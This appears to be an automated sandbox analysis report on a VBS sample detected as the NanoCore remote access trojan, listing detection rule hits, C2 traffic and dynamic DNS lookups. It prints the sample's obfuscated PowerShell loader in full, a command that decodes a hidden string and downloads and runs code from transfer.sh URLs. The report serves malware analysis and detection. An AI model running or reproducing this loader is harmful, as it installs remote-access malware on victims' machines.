%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-%8-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-%d-X-!a-X-*f-X-*9-X-*e-X-%0-X-%7-X-%7-X-%9-X-7c-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-3b'.Replace('%','2').Replace('!','4').Replace('*','6');Invoke-Expression (-join ($SOS -spl
Sigma detected: T1086 PowerShell ExecutionShow sources
Source: Pipe createdAuthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: PipeName: \PSHost.132761534763487894.6424.DefaultAppDomain.powershell

Stealing of Sensitive Information:

barindex
Sigma detected: NanoCoreShow sources
Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, ProcessId: 3112, TargetFilename: C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\run.dat

Remote Access Functionality:

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Sigma detected: NanoCoreShow sources
Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, ProcessId: 3112, TargetFilename: C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\run.dat

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

barindex
Source: unknownHTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49742 version: TLS 1.0
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbH source: powershell.exe, 00000004.00000003.393940465.000001EE6C31C000.00000004.00000001.sdmp
Source: Binary string: C:\Users\Liam\Downloads\NanoCoreSwiss\MyClientPlugin\obj\Debug\MyClientPlugin.pdb source: aspnet_compiler.exe, 00000017.00000003.463794396.0000000003EF9000.00000004.00000001.sdmp
Source: Binary string: C:\Users\Liam\Documents\Visual Studio 2013\Projects\NanoCoreStressTester\NanoCoreStressTester\obj\Debug\NanoCoreStressTester.pdb source: aspnet_compiler.exe, 00000017.00000003.463794396.0000000003EF9000.00000004.00000001.sdmp
Source: Binary string: System.Management.Automation.pdb8S source: powershell.exe, 00000004.00000003.393940465.000001EE6C31C000.00000004.00000001.sdmp
Source: Binary string: G:\Users\Andy\Documents\Visual Studio 2013\Projects\NanocoreBasicPlugin\NanoCoreBase\obj\Debug\NanoCoreBase.pdb source: aspnet_compiler.exe, 00000017.00000003.463794396.0000000003EF9000.00000004.00000001.sdmp
Source: Binary string: P:\Visual Studio Projects\Projects 15\NanoNana\MyClientPlugin\obj\Debug\MyClientPlugin.pdb source: aspnet_compiler.exe, 00000017.00000003.463794396.0000000003EF9000.00000004.00000001.sdmp
Source: Binary string: C:\Users\Cole\Documents\Visual Studio 2013\Projects\FileBrowserPlugin\FileBrowserClient\obj\Debug\FileBrowserClient.pdb source: aspnet_compiler.exe, 00000017.00000003.463794396.0000000003EF9000.00000004.00000001.sdmp

Networking:

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Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)Show sources
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49784 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49785 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49788 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49792 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49793 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49798 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49799 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49800 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49801 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49802 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49803 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49804 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49805 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49808 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49815 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49818 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49819 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49820 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49821 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49822 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49823 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49824 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49825 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49826 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49827 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49828 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49829 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49830 -> 194.147.140.20:6700
Source: TrafficSnort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49831 -> 194.147.140.20:6700
Uses dynamic DNS servicesShow sources
Source: unknownDNS query: name: newjan.duckdns.org
Source: Joe Sandbox ViewASN Name: PTPEU PTPEU
Source: Joe Sandbox ViewJA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: global trafficHTTP traffic detected: GET /KgBbue/cxderf.txt HTTP/1.1Host: transfer.shConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /I0xnyr/tytyt.txt HTTP/1.1Host: transfer.sh
Source: Joe Sandbox ViewIP Address: 144.76.136.153 144.76.136.153
Source: Joe Sandbox ViewIP Address: 144.76.136.153 144.76.136.153
Source: unknownHTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49742 version: TLS 1.0
Source: global trafficTCP traffic: 192.168.2.3:49784 -> 194.147.140.20:6700
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49742
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49774
Source: unknownNetwork traffic detected: HTTP traffic on port 49742 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49774 -> 443
Source: powershell.exe, 00000004.00000003.393940465.000001EE6C31C000.00000004.00000001.sdmpString found in binary or memory: http://crl.c
Source: powershell.exe, 00000004.00000003.393940465.000001EE6C31C000.00000004.00000001.sdmpString found in binary or memory: http://crl.microsof
Source: powershell.exe, 00000004.00000003.393940465.000001EE6C31C000.00000004.00000001.sdmpString found in binary or memory: http://crl.microsofo
Source: aspnet_compiler.exe, 00000017.00000003.463794396.0000000003EF9000.00000004.00000001.sdmpString found in binary or memory: http://google.com
Source: powershell.exe, 00000004.00000002.396426297.000001EE002B9000.00000004.00000001.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.396805530.000001EE00442000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000004.00000002.395638887.000001EE00001000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000004.00000002.396805530.000001EE00442000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000004.00000002.396426297.000001EE002B9000.00000004.00000001.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000004.00000002.396426297.000001EE002B9000.00000004.00000001.sdmpString found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.396426297.000001EE002B9000.00000004.00000001.sdmpString found in binary or memory: https://transfer.sh
Source: powershell.exe, 00000004.00000002.396805530.000001EE00442000.00000004.00000001.sdmpString found in binary or memory: https://transfer.sh/I0xnyr/tytyt.txt
Source: powershell.exe, 00000004.00000002.396160273.000001EE0020C000.00000004.00000001.sdmpString found in binary or memory: https://transfer.sh/KgBbue/cxderf.txt
Source: unknownDNS traffic detected: queries for: transfer.sh
Source: global trafficHTTP traffic detected: GET /KgBbue/cxderf.txt HTTP/1.1Host: transfer.shConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /I0xnyr/tytyt.txt HTTP/1.1Host: transfer.sh

E-Banking Fraud:

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System Summary:

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Malicious sample detected (through community Yara rule)Show sources
Source: 23.3.aspnet_compiler.exe.3f1c00f.0.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 23.3.aspnet_compiler.exe.3f01fb6.2.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 23.3.aspnet_compiler.exe.3f01fb6.2.raw.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 23.3.aspnet_compiler.exe.3f01fb6.2.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 23.3.aspnet_compiler.exe.3f1c00f.0.raw.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 23.3.aspnet_compiler.exe.3f1c00f.0.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 23.3.aspnet_compiler.exe.3f165e1.1.raw.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 23.3.aspnet_compiler.exe.3f165e1.1.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000017.00000003.463794396.0000000003EF9000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: Process Memory Space: aspnet_compiler.exe PID: 3112, type: MEMORYSTRMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Wscript starts Powershell (via cmd or directly)Show sources
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $SZXDCFVGBHNJSDFGH = 'https://transferH-Hsh/KgBbue/cxderfH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-!5-X-!*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%0-X-%7-X-*e-X-!5-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-!5-X-*%-X-!3-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-5!-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-7!-X-%e-X-57-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%7-X-%c-X-%7-X-*c-X-!9-X-!5-X-!e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%0-X-3d-X-%0-X-%7-X-!!-X-!f-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-*1-X-!!-X-53-X-5!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%7-X-%c-X-%7-X-57-X-*e-X-!c-X-*f-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-7%-X-!9-X-*e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%7-X-!9-X-*0-X-!5-X-58-X-%8-X-*e-X-*0-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-*0-X-*3-X-*0-X-5!-X-%0-X-%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-!%-X-!8-X-!e-X-!a-X-53-X-!!-X-!*-X-!7-X-!8-X-%9-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-*5-X-*0-X-57-X-*0-X-%d-X-!f-X-*%-X-*a-X-*0-X-!5-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-!5-X-!*-X-!7-X-!8-X-!a-X-%9-X-%e-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%8-X-%!-X-53-X-5a-X-58-X-!!-X-!3-X-!*-X-5*-X-%7-X-%9-X-3b-X-0a-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-%8-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-%d-X-!a-X-*f-X-*9-X-*e-X-%0-X-%7-X-%7-X-%9-X-7c-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-3b'.Replace('%','2').Replace('!','4').Replace('
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $SZXDCFVGBHNJSDFGH = 'https://transferH-Hsh/KgBbue/cxderfH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-!5-X-!*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%0-X-%7-X-*e-X-!5-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-!5-X-*%-X-!3-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-5!-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-7!-X-%e-X-57-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%7-X-%c-X-%7-X-*c-X-!9-X-!5-X-!e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%0-X-3d-X-%0-X-%7-X-!!-X-!f-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-*1-X-!!-X-53-X-5!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%7-X-%c-X-%7-X-57-X-*e-X-!c-X-*f-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-7%-X-!9-X-*e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%7-X-!9-X-*0-X-!5-X-58-X-%8-X-*e-X-*0-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-*0-X-*3-X-*0-X-5!-X-%0-X-%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-!%-X-!8-X-!e-X-!a-X-53-X-!!-X-!*-X-!7-X-!8-X-%9-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-*5-X-*0-X-57-X-*0-X-%d-X-!f-X-*%-X-*a-X-*0-X-!5-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-!5-X-!*-X-!7-X-!8-X-!a-X-%9-X-%e-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%8-X-%!-X-53-X-5a-X-58-X-!!-X-!3-X-!*-X-5*-X-%7-X-%9-X-3b-X-0a-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-%8-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-%d-X-!a-X-*f-X-*9-X-*e-X-%0-X-%7-X-%7-X-%9-X-7c-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-3b'.Replace('%','2').Replace('!','4').Replace('Jump to behavior
Very long command line foundShow sources
Source: C:\Windows\System32\wscript.exeProcess created: Commandline size = 3047
Source: C:\Windows\System32\wscript.exeProcess created: Commandline size = 3047Jump to behavior
Source: 7-Items-receipt.vbs, type: SAMPLEMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: amsi64_6292.amsi.csv, type: OTHERMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 23.3.aspnet_compiler.exe.3f1c00f.0.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 23.3.aspnet_compiler.exe.3f1c00f.0.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 23.3.aspnet_compiler.exe.3f01fb6.2.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 23.3.aspnet_compiler.exe.3f01fb6.2.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 23.3.aspnet_compiler.exe.3f01fb6.2.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 23.3.aspnet_compiler.exe.3f01fb6.2.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 23.3.aspnet_compiler.exe.3f01fb6.2.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 23.3.aspnet_compiler.exe.3f1c00f.0.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 23.3.aspnet_compiler.exe.3f1c00f.0.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 23.3.aspnet_compiler.exe.3f1c00f.0.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 23.3.aspnet_compiler.exe.3f165e1.1.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 23.3.aspnet_compiler.exe.3f165e1.1.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 23.3.aspnet_compiler.exe.3f165e1.1.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000001.00000003.412042111.000002BCBD041000.00000004.00000001.sdmp, type: MEMORYMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
